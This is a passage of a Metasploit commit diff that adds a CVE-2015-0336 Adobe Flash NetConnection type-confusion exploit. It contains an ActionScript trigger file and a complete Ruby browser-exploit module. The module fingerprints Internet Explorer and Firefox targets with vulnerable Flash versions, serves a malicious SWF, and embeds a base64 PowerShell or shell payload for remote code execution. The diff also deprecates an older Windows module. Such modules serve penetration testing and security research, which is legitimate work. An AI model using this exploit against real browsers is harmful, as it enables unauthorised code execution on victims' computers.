<!-- Class files to compile (other referenced classes will automatically be included) -->
<compileTargets>
<compile path="src\Main.as" />
</compileTargets>
<!-- Assets to embed into the output SWF -->
<library>
<!-- example: <asset path="..." id="..." update="..." glyphs="..." mode="..." place="..." sharepoint="..." /> -->
</library>
<!-- Paths to exclude from the Project Explorer tree -->
<hiddenPaths>
<hidden path="obj" />
</hiddenPaths>
<!-- Executed before build -->
<preBuildCommand />
<!-- Executed after build -->
<postBuildCommand alwaysRun="False" />
<!-- Other project options -->
<options>
<option showHiddenPaths="False" />
<option testMovie="Unknown" />
<option testMovieCommand="" />
</options>
<!-- Plugin storage -->
<storage />
</project>

18
external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as vendored Executable file
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@ -0,0 +1,18 @@
// Build with FlashDevelop, its command line is:
// fdbuild.exe "Trigger.as2proj" -ipc 22ef73b0-fe1e-4cd0-8363-4650575d43b6 -version "1.14" -compiler "C:\Program Files\FlashDevelop\Tools\mtasc" -notrace -library "C:\Program Files\FlashDevelop\Library"
class Main
{
public static function main(swfRoot:MovieClip):Void
{
var _loc2_ = _global.ASnative(2100, 0x956c2000);
var _loc3_ = new Object();
_loc2_.__proto__ = _loc3_;
_global.ASnative(2100, 200)(_loc3_); //Netconnection constructor
_global.ASnative(2100, 8).apply(_loc2_, [1]); //NetConnection.farID
}
public function Main()
{
}
}

167
modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb Normal file
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@ -0,0 +1,167 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player NetConnection Type Confusion',
'Description' => %q{
This module exploits a type confusion vulnerability in the NetConnection class on
Adobe Flash Player. When using a correct memory layout this vulnerability allows
to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
vectors, and finally accomplish remote code execution. This module has been tested
successfully on:
* Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305
* Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Adobe Flash 11.2.202.404
},
'License' => MSF_LICENSE,
'Author' =>
[
'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0336'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'unix'],
'Arch' => [ARCH_X86, ARCH_CMD],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.442')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
@trigger = create_trigger
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
if target.name =~ /Windows/
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
platform_id = 'win'
elsif target.name =~ /Linux/
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'linux'
end
trigger_hex_stream = @trigger.unpack('H*')[0]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&tr=<%=trigger_hex_stream%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&tr=<%=trigger_hex_stream%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
def create_trigger
if target.name =~ /Linux/
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger_linux.swf')
else
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
end
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

3
modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb
View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Module::Deprecated
deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion')
def initialize(info={})
super(update_info(info,